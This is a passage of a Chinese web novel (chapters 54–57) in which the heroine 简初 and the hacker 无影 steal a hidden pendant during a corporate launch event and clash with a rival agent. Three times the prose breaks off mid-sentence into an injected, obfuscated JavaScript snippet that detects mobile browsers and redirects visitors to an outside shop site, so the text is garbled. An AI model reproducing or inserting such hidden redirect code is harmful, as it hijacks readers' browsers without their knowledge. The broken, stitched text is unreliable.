比起飓风，其他两个行动人员的逃离路线要简单直接得多，因为东西不在他们身上，所以目前大部分安保力量都跟在他们俩后面。 “飓风，前面交叉口有特殊安保，你直行突破后沿着走廊右拐，我来找人接应你。”无影迅速找到最合适的路线。 “放你的屁！谁能来接应我！赶紧给我找出去的路！”飓风托着身后的背包往上颠了颠，里面至少装着十来瓶药剂，幸亏瓶子比较耐造，不然早碎一地了。 “有绝对安全的人选，你现在已经暴露了，特殊安保人员也在向你的方向聚集。” “应该是你身后那人的问题，他向其他安保实时转告了你的位置，但是我们无法追踪到他们的通信频道，这也是没有办法的办法。” 无影迅速解释，也不管飓风答不答应，直接着手联系简初。 9：23。 “嗞——” 麦克风的响声从四面八方传来，看官们下意识捂了捂耳朵，紧接着爆亮的闪光铺天盖地，好一会才慢慢恢复正常。 “怎么了，时间不是还没到，怎么要开始了吗？” 正当媒体们面面相觑，手上不停按下快门之际，从会场的顶级音响中传出的，不是来自任何人的声线，而是一首节奏强劲的舞曲。 一点也不高雅，丝毫不符合斯塔集团的身份。 终于来了。 简初微微仰起头，倾听无影给的信号，接着拍了拍衣角，动作十分自然地从终端里扣出微型耳机。 “沙沙——”信道终于接通。 “苍耳，你得先来见我。” 54. 灯下黑（54） 无影迅速入侵附近的监控点位，在他的指引下，简初避开了所有的安保人员，进入了一个无人角落，墙壁上正有一个紧急报警装置。 不过两秒，无影熟悉的身影就出现在她面前。 “你还能出现在这？”简初新奇地打量着。 “当然，只要有能入侵的电子设备，我去哪儿都行……不对，现在不是说这个的时候。”无影赶忙收住有些骄傲的脸色，“你的情况特殊，不能被人发现身份，所以……” 他伸出手，简初瞬间明白了他的用意，不得不说，这确实解除了她一部分后顾之忧。 “你会在监控里看着我吗？”简初开口道，她并不希望无影能够监视自己的一举一动，但对方显然会错了意。 “当然，我会一直为你指明方向的。” “……”简初沉默了两秒，快速思考着受异能干扰的监控是怎么被无影有效控制的，“你别骗我。” 她声音低低的，带着些怀疑。 “我入侵的监控点位够用了，你不要怕，”无影轻声安慰，他不能让对方的情绪影响到行动，“只要你沿着我指明的路线，就绝对没有问题。” “这次能维持多久？”简初问。 无影愣了愣，立刻反应过来对方是在询问身上电子遮罩的维持时间。 “这次……时间会更短，因为我有别的事情要做。” 简初知道，他所说的别的事情，是指入侵监控点位。 “如果我被迫偏离了路线，并且你短时间内找不到我，麻烦尽量给我留出更多的时间。” 没有给无影拒绝的时间，简初直接转身。 “现在，告诉我，该往哪里走。” …… “飓风，你沿着现在的路继续走，直到尽头进入C区，接应的人在往这个方向赶，我警告你。”在飓风打算骂人的前一秒，无影严肃开口，“你别把斯塔集团当做组织的后院，我能感觉到对面有很强的异能者加入了信道防御，我们只能把入侵范围缩小，你要是乱跑丢失了坐标，后面就只能靠你自己了。” “靠！我知道了！”飓风面色扭曲了一秒，怒骂着点了头，“跟着我的安保数量远超预期，我回头再跟你算账！” 尽管飓风一气之下很想掐掉通讯，但理智还是阻止了这一行为，毕竟他还要靠对方指路。 “其他两人都已经安全撤离了，现在行动组就剩你一个，所有的安保力量都盯着你，下一个路口需要你暴力突破。”无影得到其他后勤同事的信息，皱着眉转告给飓风，并给出下一步行动建议。 他临时切断和飓风那边的通讯，转头向身边的人询问：“其他人全都离开了？这么顺利？” “是的。”坐在他旁边的同事吹了口泡泡糖，“比预期顺利很多，不过从这个情况可以确定，真正的药剂确实在飓风的包里。” …… 另一边。 “他往C区去了，我看到集团的特殊安保去拦截，但是对方没有减速，看起来要硬闯。” 听到黎取的情况同步，傅燃狠狠皱了眉头。 “去C区并不是外逃的路线，他想做什么？” “正在同步C区的情况，集团加强了信道防御，破解起来比较有难度，”黎取的异能像病毒一样，在斯塔集团的监控信道里蔓延，因为没有做出破坏行为，所以没有遭受很明确的阻拦。 集团的主力应该在对付温弗拉，他一进信道就感受到那熟悉的入侵手法，对面是无影没跑了。 “等等，C6出现了一个可疑人员，但是对方用了电子遮罩，嘶……信号又被抢走了。” 傅燃瞬间想起了一些不太美妙的事情，他的大脑飞快转动，果断做出决定：“改变我的前进路线到C6，他们可能要接头，飓风这边继续监控。” “行，你说了算。”黎取耸耸肩，“飓风在下一个路口应该会被安保人员拖住一会，你从最近的地方绕过去，如果他们不是接头的，你还来得及回头，如果是接头的……大概率会正面碰上，到时候就是1V2了啊。” 回答他的是傅燃突然拐弯的坐标。 …… “苍耳，你就在这里等着，短时间不会有人过去，行动人员还有三十八秒抵达你所在的位置。”无影说道，“我会在你们交接的前二十秒完全切断周围的监控点位，为你们争取时间。” “知道了。”简初手里提着一个暗绿色的背包，里面被玻璃瓶装得鼓鼓囊囊，看起来是要狸猫换太子。 “砰砰砰！” 简初猛然抬起头，从无影所说的方向，传来了激烈的枪声，其中还夹杂着粒子光束炮将墙壁熔化的“滋滋”声，但声音来得快去得快，不过十来秒，一个身影骤然出现在通道尽头。 两人同时看见彼此，对方的行动速度远超简初的预期，高大的身影像一阵风卷了过来，但她仍然清晰地看到对方脸侧和身上溅到的鲜血。 后面没人跟过来，应该都被处理掉了。 “我知道了，你别吵！”飓风朝耳机里不断催促他的无影怒吼一声，紧接着手里的包在空中甩起一道弧线，“接着！” 同一时间，简初的耳机里响起无影的声音：“有人往你那去了，把手里的包扔在原地，往你的右手边跑。” 简初迅速上前一大步，借着背包飞过来的惯性，直接将其甩到背上，扭头就跑。 “还算机灵。”飓风拎起地上的假冒背包，消失在原地。 “获得物品：装满各种药剂的背包。” 系统的播报声来得出人意料，让简初灵光一现，但很快她就乐不出来了，拐弯处的古董镜子映照出她身后的情形——一个人影出现在他们接头的路口，左右看了看，随即果断向她这个方向追了过来。 身后的背包里少说有十几瓶药剂，小触手把拉链挤开，开始一个个摸过去。 “获得物品：普通营养剂。” 不是这个。 随着系统播报响起，小触手卷起药剂瓶，简初向后一摸抓住，紧接着借着小触手的力向后方扔去，如她所料，对方没想到她回来这么一出，脚步乱了一瞬，接住了她扔出的药剂。 “不是，你要干嘛啊！” “不是，这人干嘛啊！” 简初跟傅燃的耳机里不约而同响起暴躁的呼唤。 “你扔了干嘛！”无影难以置信。 “扰乱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12670350|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下对方的行动，我手气没那么好，一抓就抓到真货。”简初满脸无所谓地回答，“你看他还追着跑，说明刚刚那是假货。” 无影一时无法反驳，不过他不知道对面也陷入了抓狂。 “不是，假的吧，真货怎么可能扔掉，难道他们知道哪个是真的？那还背着这么多干嘛！”黎取有些崩溃，“现在怎么办，这瓶药拿着吗，如果他再扔出来怎么……” 还没等他说完，前面又飞来一个药剂瓶，傅燃借着墙壁飞跃而起，接住后将试管塞进腰上的枪套，抬手朝前面就是一枪。 “哦哟！”简初把自己扭成麻花，躲开这一枪，小触手依然在背包里摸来摸去。 担心无影被气得撅过去，简初暂时停止了往外扔药剂瓶的动作，可是小触手一个个摸过去，还没有找到真正的药剂，她能理解可能是新成分系统识别不出来，但是至少不能全是营养液吧！ 仿佛是回应她的想法，小触手突然摸到了一个不一样的东西。 “获得物品：强效消毒液。” 简初：“……” 结果非常残忍地摆在她面前，这一包药剂里，没有一个真货。 又被坑了！ “该死。”简初低声咒骂，身后的那人的距离跟她越来越近，无影在监控里看着，她还不想暴露其他异能，得想办法，把这一包假货处理掉。 “你们确认过药剂吗？”简初一边奔跑，一边朝耳机那头急促说道，“会不会像，呼，上次那样。” “这次应该是真的，不然具……行动小组不会全部过来的。”无影的心理完全被简初扔药剂的行为破坏，嘴皮子一秃噜差点把飓风的名字吐了出来。 “嗯。”简初脑中极速转动，“想个办法，我们得去确认一下，别又给人做嫁衣了。” “找一条去发布会场最近的路，然后用音响……” 无影有些犹豫：“我要是再回去入侵发布会的音响，可能就暂时顾不到你这边了。” “那太好……我是说，你把最近的安全路线给我就行，我们在现场碰头。”简初说道。 “三十秒，如果你人没到我们就放弃这个计划。”无影沉吟片刻妥协道，紧接着耳机里只剩下信号不良的的沙沙声。 “无影？无影？”简初呼唤了两声，对面没有反应，她的胸腔已经感受到灼热，后面那人一直阴魂不散地跟着，但并没有要撵上来的趋势，不知道憋着什么坏水。 “灰烬，这人看起来没有异能，真家伙会不会还在飓风手里。”黎取被对方随意扔掉药剂的行为唬住了，一时有些茫然，“他在往会场方向去，还要追吗？” 就在他话音刚落的瞬间，前头的身影突然一阵闪烁，紧接着消失在了原地。 “这个异能，是上次那个人？！”黎取惊讶地喊道，得到了傅燃的肯定，“搞到最后，他居然还是温弗拉的人，但是我们抓到的那两个明显不了解情况啊？” “可能是高层人员，他们不知道很正常。”傅燃在人影消失的地方停下脚步，“找到人了吗？” “再等等……看到了！他确实进会场了！”黎取咬牙扩大搜索范围。 “这人究竟要干什么？！” 55. 灯下黑（55） “刚刚那是什么情况？” 秦理茫然地左右看看，刚刚的舞曲来得快去得快，要不是周围人同样疑惑的表情，她还以为自己出现了幻听。 “简初怎么还没回来，啊，傅燃怎么也不在？” “他去洗手间了，我打个通讯问问。”左虞珩眉头紧皱，“我的错觉吗，气氛好像有点不对。” 正当他如此说着，时间来到了9：30，会场四周的音响里准时传来主持人的声音。 “发布会即将开始，请现场的来宾保持秩序，请勿喧哗，让我们有请本次发布会的发起人，米勒尔·斯塔先生。” 音响的声音太大，打消了左虞珩拨打通讯的念头，他努力前倾，凑近秦理耳边大声喊道：“他们估计快回来了，别着急！” 台上，米勒尔信步走到中央，脸上看不出丝毫的焦急，尽管他的安保团正在满会场寻找那个窃取药剂的小偷。 但后台的状况就没有如此美好了。 “我真的想不通，他到底在做什么，现在应该立刻停止发布会，封锁场馆，一个一个搜身！” 伊森旁边站着的中年人气得吹胡子瞪眼。 戴维斯是联邦研究所内的专职外联人员，主要就是负责斯塔集团和研究所的相关事宜，说起来他对各类研究一窍不通，能有份体面的好工作还多亏了他和斯塔家族不算近的姻亲关系。 “祖父有自己的考虑，不需要你操心。”伊森冷冷开口，让戴维斯稍稍清醒了一些。 “我的少爷啊，这次跟研究所的合作已经谈得很艰难了，如果药剂被偷走，绝对要出大问题的啊！” 他眼珠子咕噜噜地转，明眼人一瞧就知道有小心思，他自己却感觉隐藏得很好。 “不怪我不提醒你，这次的发布会米勒尔先生可是安排你来协助的，要是出了问题，你也逃不过要被问责啊！” 戴维斯的本意是想激伊森一下，毕竟二十多岁的年轻人，头脑手腕远远不及米勒尔，指不定心下一慌乱，可以多派些人手去找药剂，却未曾想他话一出口，伊森一个眼神都没有分给他。 “安保队长，麻烦将这位先生请回等候区，中控室重地闲人免进。” “是，少爷。” 伊森面无表情地听着男人急躁地喊声，直到大门合上，声音完全被隔绝，他的目光透过中控室前方巨大的玻璃幕墙，落在台上开始侃侃而谈的米勒尔身上。 他究竟想做什么？ …… 台上的米勒尔已经说完开场词，他状态很轻松，甚至一只手插在兜里往嘉宾席走了两步。 “我知道在场的各位都是为了什么而来的，也不跟大家绕圈子，我们直入主题。” 他话音一落，突然出现众多的安保人员，将主展台团团围住。 “现在邀请来自联邦研究所的戴维斯先生上台，跟我们共同见证。” 戴维斯刚刚才被伊森赶出来，正是愤愤不平的时候，猛然听到自己的名字，一时还没有反应过来，就被礼仪人员“请”上了台。 “由于药剂的珍贵性，我不得不瞒着所有人，将它放在了一个绝对安全的地方，可能吓到戴维斯先生和在场来宾，我先在这里道个歉。”米勒尔露出胸有成竹的笑容。 刚刚侵入会场的无影上来就听到这么一句话，远在温弗拉基地的他后背立刻爬满冷汗。 “飓风！回来！任务有变化！” 很可惜，那边并没有传来回复，无影后知后觉地发现不妙——通往外界的所有通讯信道都被切断了。 他可以入侵信道，却并不能无中生有，自己搭一条出来。他现在只能跟会场内的组织成员联系，一旦他选择收回异能离开现场，就会被屏蔽在外。 “苍耳，你到了吗？”无影占用的监控点位里并没有发现她的踪迹，只能开口询问，寄希望于她已经进入发布会现场。 “嗯。”简初低低应了一声，让无影大松了口气，不过下一秒，他又觉得自己放心得太早了。 这人正戴着一顶不知道从哪儿顺来的黑夹克和鸭舌帽，扛着一个巨大的摄像机，蹲在最后面。 “今天怕是没戏了。” 无影心下唾弃自己，居然有那么一瞬间将希望寄托在对方身上，不提她的异能有多鸡肋，在场这么多人，要是他的遮罩失效了，都够她死八百个来回。 “那个神秘人在哪，你找到了吗？” 简初嘴里含含糊糊，不知道那个去洗手间的摄影师什么时候回来，到时候自己还得换个地方藏着。 “没找到，估计跟你一样躲起来了，小心别被发现。”无影心底寻思，我连你都差点没找到，就别提那人了。 他能感知到对面也有一个强大的黑客在支持，甚至这个追在自己后头“索命”的手法还有挺熟悉，不出意料还是协会的人。 台上的米勒尔故作玄虚了十来秒，直把戴维斯搞得满头大汗才罢休，他哈哈大笑，带着自上而下的俯视感拍了拍戴维斯的肩膀。 “让我们一起看看，这将在整个联邦引起轰动的小东西吧。” 说着，他终于将一直揣在裤兜的手拿了出来，紧接着抬起手臂，赫然是一根细长的试管。 “愣着干什么，赶紧把镜头拉近啊！” 一个大叔猛然拍上了简初的后背，看她低着头没有动作，心头火起直接挤开简初抢过了摄像机。 “我说你怎么回事，不想干了回去走人好吧！” 简初乖乖站到一边，帽檐下的双眼紧盯大屏幕里的画面。 “现在，请先允许我在所有人的见证下，将药剂移交给戴维斯先生，斯塔集团将和联邦研究所一起开展后续研究，争取在最快时间内实现批量生产。” 米勒尔笑容满面地看向一旁的戴维斯，中年男人这才反应过来，伸出有些颤抖的手，接过了那支试管。 “请戴维斯先生说几句吧。” 不知道为什么，明明场上的一切都十分顺利，但其中总有淡淡的违和感，米勒尔精心设计了一层一层圈套，最后就从兜里把药剂掏出来，实在是过于朴实了。 难道这是顶级商人的冒险精神吗？ 简初脑海里的想法刚刚成型，大屏幕的镜头切到戴维斯喜气洋洋的面孔上，他五根手指紧紧捏着试管，看起来非常小心，但还没等他开口说话，会场的灯光突然“啪”地熄灭了。 “无影？！” “不是我干的！”无影顿时大脑一片空白，第一时间想到了协会，殊不知，对方也正在考虑他们动手的可能性。 “温弗拉还有后手？他们怎么什么都知道？”黎取有些难绷，难道协会的信息部门真的落后到这种地步了？ “不见得，他们之前可不像是闹着玩的，况且按照你刚才所说的，会场与外部的信道全部被切断，飓风他们可都在外头呢。”傅燃缩在角落，现在的会场内部一片黑暗，但他还是能看清很多东西。 比如开始变得混乱的媒体，再比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“无影！入侵会场中控，按照刚刚的计划来！” “什么？药剂不是已经被……” “别管，按我说得做。” “行吧，你们都爱指挥我。”无影嘟嘟囔囔，行动间很实诚地照做了，“不过我要提醒你，你剩下的时间不多了，按照计划我最多只能再维持三分钟的电子遮罩。” “你做好之后尽快退出会场，尽量给我多留一点时间，再帮我找个安全的地方解除遮罩。”简初说道，“我不能直接离开，必须要回到嘉宾席才行。” “我知道了。”无影叹了口气，紧接着会场的音响里传来“滋滋”的声音，一道被处理过的机械声传了出来。 “亲爱的米勒尔先生，你真是足智多谋，不过智者千虑必有一失，你的宝贝藏得可不算太好哦，我就勉强笑纳了。” 米勒尔骤然抬头，这不是计划中该有的程序，他迅速伸手捂上脖颈，如愿摸到一个圆圆的凸起。 没有丢……不好！他中计了！ 简初呲着牙笑了一声，果然，像米勒尔这种人，最信任的永远只有自己，但把东西放在自己身上，最后倒是便宜了她。 另一边，神秘人的长刀砍在虚空中崩出火星，暂时没有空来管她，而米勒尔身边被安保们围得水泄不通，正推搡着往后台而去。 “无影！关灯！” 56. 灯下黑（56） “啪！” 全场的灯光再次全部熄灭，但简初早已锁定了米勒尔的位置，考虑到会有其他人插手，所以无影对中控灯光的控制最多只有三到五秒。 “只有三秒，我走了。” 简初没有时间回答他，小触手迫不及待地窜了出来，淡金色的肢体在黑暗中特别明显，简初只能让它贴在地上朝目标接近。 米勒尔原本的胸有成竹已经荡然无存，他显然不能再呆在这里了。 “你们靠近一点，绝对不能让任何人接近我！” 就在他刚刚说完的瞬间，脖子上立刻传来无法忽视的牵拉感——有人从背后拽住他的项链，并向后扯去。 “是谁？！” 米勒尔怒火中烧，他前后左右都是集团内部的安保人员，甚至行走间还能接触到他们的衣物，根本没有再挤一个人进来的空间，难道是哪个蠢货被人买通了？！ “给我住手，不想活了吗？！咳！” 回答他的是突然收紧的力道，为了防止链子断裂，米勒尔特地使用了强度颇大的钛银来打造，但现在却成为束缚他的锁链。 黑暗中米勒尔的脸已经涨得通红，他伸出手试图抓住项链末端的吊坠，但它太小，而链子又已经紧紧嵌进皮肉里，让他无法下手。 距离最近的安保队长崔斯特敏锐地感受到不对，他的双眼此刻已经适应了黑暗，扭头就看见一道若隐若现的金光锁住了米勒尔的脖子，当即拔出身侧的匕首，顺着金光毫不犹豫一刀劈下。 “嘣！” 空气中穿来细微的金属崩裂声，米勒尔清晰地感受到项链从自己的肩膀上划过，紧接着被什么东西卷走。 “不！！！” 随着会场的灯逐渐亮起，米勒尔不再试图往中控室去，而是紧紧捂住脖子上被项链勒出的伤痕，仿佛淬了毒的视线迅速扫过展台上的所有人。 身边的安保人员一个不落，全都面色严肃地警戒周围。 不是他们之中的人做的？ 但下一秒，他就看见展台中格格不入的两个身影。 “伊森！封锁场馆！” 一切发生得太快了，但伊森也不是什么蠢货，他跟米勒尔相处太久了，一眼就看出此刻对方的愤怒才是发自真心的。 他亲爱的，口口声声为他铺路的祖父，自己一个人偷偷做了不少安排。 伊森突然觉得有些无趣，他装作慌乱地回应米勒尔的呼喊，但手头的动作却因为“着急”而失了方寸。 米勒尔愤怒的喊声透过展台中央的收音器清晰地传到每个人耳朵里，不知道因为什么，大多数人居然真的乖乖呆在原地没有动。 可始作俑者就没有那么淡定了。 神秘人正跟一团空气焦灼缠斗，简初原以为对方能够直截了当找到隐身者的踪迹，应该是有什么特殊的能力或者装备，现在看来并不是如此，只可能那人发动隐身技能的时候正巧被看到了。 离三人最近的出口就在展台的侧边，但此刻直接逃离绝对不是个好选择。 “药剂”正在隐身者的身上，如果她就这样放弃抢夺，必然会引起神秘人的怀疑，甚至调转枪头来攻击她，做戏做全套，在彻底安全之前，必须得假意加入药剂争夺。 “获得物品：？？？，来源地：无人区。” 小触手迅速沿着地面回到简初身边，一串冰凉的链子悄无声息落进她手里，系统播报随之而至，但她此刻无暇去打量。简初将链子一甩，在手腕上缠了两圈，把中央的吊坠紧紧握在手掌，右手在虚空中一握，小触手在掌心卷成一根锥形的长杵，两翼瞬间压扁，化作一柄长剑。 她得避免暴露其他异能。 那名隐身异能者的战斗技术不算高超，但异能占了大便宜，傅燃只能根据每次击中对方的手感来判断其下一步动作，但问题是对方身上还有药剂，为了避免击碎试管，他的行动受到了极大的约束，只能跟着对方不断靠近场地的大门。 但简初完全没有这样的担心。 傅燃只觉得左侧金光一闪，一道身影突入战场，他面色冷凝，正准备转身迎击，却见金光从他身侧划过，准确地击中隐身者，一道血花沿着金色剑刃飞出，落在地上。离开了主人的血液不再受异能影响，同时伤口滴下的血液明确指出异能者逃跑的方向。 “我了个球，这人这么莽，要是把药剂弄坏了咋整，他们上级不会发疯吗？！”黎取在耳机里大叫，傅燃面无表情地跟来人对视一眼，就见那张普通的面容突然歪头挑了挑眉。 有被挑衅到，这是第三次了。 傅燃还分得清轻重缓急，现在拿到药剂是当务之急，他要是跟这人打起来，绝对会给隐身者可趁之机。 “走！” 傅燃耳机中传来黎取的声音，同一瞬间，场馆内的灯光再次熄灭，傅燃迅速从门缝中窜出，简初毫不犹豫直接跟上，肩膀还在即将关闭的门框边磕了一下。 灯光重新亮起，但在这一次几个重要目标已经消失在原地。 “封锁整层楼。”米勒尔阴沉开口，眼里透着几乎要杀人的可怖，“挖地三尺，也要把人找出来。” 这群人把斯塔集团当成什么了，想来就来，想走就走？！ 隐身异能者是他计划中的一环，但后续的发展完全超出预期，假药剂丢了无所谓，重要的是他的那条项链，上面可是他费劲千辛万苦，扔进去几十条人命，才从无人区带出来的东西。 为了合理地让它消失在研究所的视野里，他用尽心思设计了几层圈套，第一层是伊森在联邦军校做的安排，第二层是那十几瓶假药剂的烟雾弹，最后一层只有他知道，甚至连来抢药剂的人都是他亲自去黑市找的。 药剂交给戴维斯之后被人夺走，这就有人跟他分担“责任”，但未曾想到有人使诈，最可恨的是他居然真的中计了，暴露出真正有价值的东西——他脖子上的项链。 这一出戏演得他有苦说不出，在旁人眼中他是因为药剂被抢夺而恼怒，只有他自己知道，自己想尽办法试图独吞的成果，最后还是被人抢走了，他甚至都无法开口让安保人员去找项链，而不是药剂。 一旦被研究所知道其中的弯弯道道，两方的关系必然破裂。 他不顾自己脖子上的伤口闯进中控室，直接抢走了总控的位置：“通信防御在最短时间升到最高，所有人出动，封锁整层楼，一只苍蝇都不许放出去！” 伊森垂着眼，瞧着向来尊贵且自诩风度的米勒尔，此刻正狼狈地捂着脖子上的伤口，面目狰狞地发号施令，心底居然生出一丝隐秘的快意。 原本在他眼中难以逾越的高山，此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他侧腰的伤口不停地涌出鲜血，脸色苍白地后退两步，举起手里细细一条试管，求饶道：“我把东西给你们，放过我行不行，我就是想挣点钱。” 早知道这么危险，他根本不会搭理黑市那个来路不明的联络人。 后头传来凌乱的脚步声，安保人员在往这边赶来，这让男子的脸色变得更加焦急。 “我不骗你们，我都不知道这是个什么东西，有人让我来抢的，给了很多钱！” “黑市？”简初听到神秘人开口，还是那种经过处理的声音。 “对对对！”男子连连点头，对面两个人看起来应该是一伙的，他咽咽口水，迅速将试管扔出。 他好歹混了这么些年，能看出来这人更重视这个东西，另一个人眼神中丝毫没有渴望，甚至看起来有些吊儿郎当的。 简初看着男子把东西抛向神秘人，难以置信地歪歪头。 怎么，这人看起来更牛吗？明明现在两人都是大众脸，凭什么歧视她！ 男子感受到一瞬间的杀气，突然怀疑自己是不是做出了错误的选择。 “我……我可以走了吗？” 见对面两人都没有反应，他试探着转过身，跌跌撞撞一步三回头地往外走，看起来还没意识到这里被封锁了。 “唰！” 又是两道锐光先后而至，男子只觉得心口一疼，接着瞬间失去了意识。 “解锁能力【隐身潜行】。” “隐身潜行：你的身影犹如鬼魅，可以完美地融入周围的一切，但小心同处于暗中的眼睛，也许正一直注视着你。” “升级能力【视线所及】，冷却时间缩短至45秒。” 57. 灯下黑（57） 意料之外的通知，简初从没想过异能还可以升级，是因为自己的熟练度增加了，还是杀死这个异能者带来的改变？ “铛——” 简初迅速抬手，格挡了神秘人转瞬而至的偷袭。 为了避免有其他人看见小触手，她一直将其攥在手里当做武器使用，现在这里只有他们两个人，就没必要费劲隐藏了。 触手兴奋地从简初手里滑出来，缠上了傅燃的刀锋，简初借着反震的余力向后仰去，单手撑地一个翻滚，跟他拉开了距离。 傅燃反应很快，他迅速将刀刃竖起朝向自己，试图向后直接切开触手，但它的韧性显然超出预期，他瞬间改变战术，手腕转了几圈，将触手缠在刀刃上，紧接着左手摸向腰侧的枪支，抬手就是一枪，连瞄准都省略了。 简初瞳孔骤缩，身影在原地闪烁了两秒，紧接着出现在距离傅燃一步之遥的身后。 在集团大楼这样的建筑里，【点石成金】受到了极大的限制，只有走廊里看起来十分昂贵的古董花瓶里有那么一点泥土。 一个十分袖珍的峨嵋刺瞬间被简初捏在手里，毫不犹豫地捅向对方的颈动脉，在尖端即将没入皮肉的时候，却被一只手紧紧扣住。 “快，他们就在前面！” 安保的声音突然传来，硬底的靴子敲在地板上，“噔噔噔”地似乎就要从转角处冒出来。 傅燃侧过头，跟身后的人对视一眼，两双眼睛间几乎要爆出实质的火星子，但下一秒，两人之间达成了一种微妙的默契，他们同时收回了手，保持距离，不约而同往走廊的另一头跑去。 简初落后半步，但她并不想给对方当挡枪的靶子，脚下特意往另一边偏了些许。 “嘶——” 身后突然逼近的危机感，伴随着宛如蛇吐信子的声音瞬间到达。 “哼。” 前头的人冷哼一声，陡然抽到扭腰，刀锋闪着幽冷的光直直朝着简初眼前横劈过来。 前后夹击。 一切都交给了战斗本能，简初紧急刹车，鞋底在地面上发出巨大的摩擦声，甚至带出一条黑色的痕迹，小触手瞬间弹出，电光火石之间撞偏对方的刀锋，但此时身后的攻击已至，只能尽力避开要害。 在简初的余光里，一道雪亮的白光拖着宛如彗星的尾翼翩然而来，丝毫不带停顿地穿透了她的小臂，剧烈的灼烫和疼痛突然袭来，皮肉发出“滋滋”的声音，甚至还有烧焦的气味。 这是激光？！ 小臂骨很不幸被击碎，简初眼前一黑冒出冷汗，果断在三岔路口调转方向，往另一边而去，但要命的是，那人见她受伤，竟然也跟了过来。 阴险的鬣狗！ “队长，继续追吗？” 闻言，崔斯特朝身侧的女性瞧了一眼，开口道：“你跟着我，其他人从另一边包抄，死生不论。” 穿着安保制服的女人放下自己比作枪支的手，三指并拢搓了搓有些发烫的指尖，垂眼点了点头。 …… 激光的温度很高，直接把伤口周围全部炙烤到焦熟，至少没有血液留在现场，简初苦中作乐地想。 疼痛让她的体力大幅降低，【极寒领域】包裹住伤口所在的一小节手臂，临时缓解疼痛，身后的人阴魂不散，不知道两人有多大的仇怨，能让他一直跟着自己。 傅燃面无表情地拔枪射击，脑中却陷入纠结。 不用异能他未必能抓住这棘手的角色，但用了异能，他接下来一段时间怕是都不好受。 这几天正是禁用期，使用异能会让所有的治疗工作前功尽弃。 周围的气温变得有些低，前头的人不出所料躲开这一枪，紧接着，身上的开始出现雪花状的纹路，傅燃瞬间明白，对方的电子遮罩快要失效了。 他眼神凛了凛，这也许是抓住这人的最好机会，但还没等他驱动异能，变故陡生。 眼前的走廊突然像被一只无形的手拧动，呈现出螺旋状的扭曲，似乎只要再前进一步，就会被搅碎在其中。 傅燃下意识停顿脚步，但就这么一瞬间，面前的走廊突然恢复正常，前头那人却借着这个机会消失在了原地。 还有其他帮手？ 傅燃耳朵动了动，听见一阵凌乱的脚步声，他立刻大步向前打开走廊一侧的房门，两枪击碎窗户，撑着窗沿一跃，消失在茫茫夜色之中。 …… 简初使用隐身潜行回到了最初的洗手间，不知道是不是短时间内使用了太多的异能，大脑中感受到一阵轻微的刺痛，她用力甩了甩脑袋，闭上眼试图使用精神力迅速缓解。 “噔噔噔！” “恭喜你完成任务，并成功逃离追捕，获得了目标物品，不过并没有人知道它究竟有什么作用，就连米勒尔也不例外，但无人区显然是一个新鲜的名词，你也许有必要了解一下。” “你手中还有两条任务。” 简初读取完自己的身体数据存档，坐在隔间里放空了两秒，接着抬手看向一直缠绕在自己掌心的吊坠。 钛银的链子手感独特，一摸就能摸出来，跟她平时用的精神力监测器的贴片线路一个材质。 看来重要的是上面挂着的坠子。 末端的金属球体积很小，表面规律排布着凹凸不平的纹理，转动间在灯光下不断变换着反射出的光晕。 看起来很普通，但米勒尔对它的在意程度显然不同寻常，系统特地提到了“无人区”，难道它的特别之处在这里？毕竟这名字听上去，就像是会发生很多事的地方。 她尝试联系无影，但都宛如石沉大海，杳无回音，现在的当务之急是合理地回到发布会现场，直接离开不是明智的选择。 简初用力拍拍自己的脸，让有些苍白的面颊重新出现血色，她低头看了眼手里的东西，眯眯眼将吊坠跟链子分开，紧接着若无其事地洗手擦手，面色自然地离开了洗手间。 走廊上空无一人，作为精神体的小触手并不会被监控拍到，于是抻成细长条的触手卷起钛银的链子，偷偷摸摸沿着墙角前进，将其扔到了另一条走廊的角落——距离刚刚发生打斗不远的地方。 前面拐个弯就到发布会入口，简初抬手整理了一下领口，悄无声息地“偷”了点古董花瓶里的土，将指间的小球用金属包裹，嵌进了制服衬衫的金属扣子 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前面大多数人都说自己去洗手间了，有两个人是因为接电话离开的，简初吸取了前人的经验，坚决不多说一个字，何况安保们对于他们离开的理由似乎并不在意，而是更关注“X光”的检查结果。 傅燃非常顺利地进去了，简初心中微微一紧，但立刻强制自己恢复了镇定，她深知自己绝对不能露出破绽，否则前功尽弃，只能迅速调整好心态，露出一个普通客人应当有的表情，按照安保的要求举起双手。 浅蓝色的光幕从她头顶罩下，迅速扫过藏着坠子的纽扣，安保没有开口，简初紧咬的牙关略微松了松。 “没问题。”人肉X光看起来也很疲惫了，他眼皮子都懒得抬，只是向旁边的安保人员微微点了点头，拦在简初面前的人立刻左右闪开，给她让出道路。 顶着周围人各异的眼神，她迅速回到坐席，还没坐下就收获了来自带队老师的批评。因为不是自己的学生，方贺不便说得太过分，但冯聿就没有这种后顾之忧了，两个老师一前一后，对着刚刚进来的两人进行魔音贯耳般地输出。 “人有三急嘛……” 简初故作委屈地小声叨叨，得到了更加狂风暴雨的精神洗礼，不过一直维持着纽扣上的金属附件，确实也让她有些难受，看起来就更加可怜了。 “好了冯老师，俩孩子也不是故意的，索性没有什么意外，让他们自己反思吧。” 首先叫停的居然是方贺，一方面是看那个小姑娘苦着脸的样子确实有些可怜，另一方面是他快词穷了。 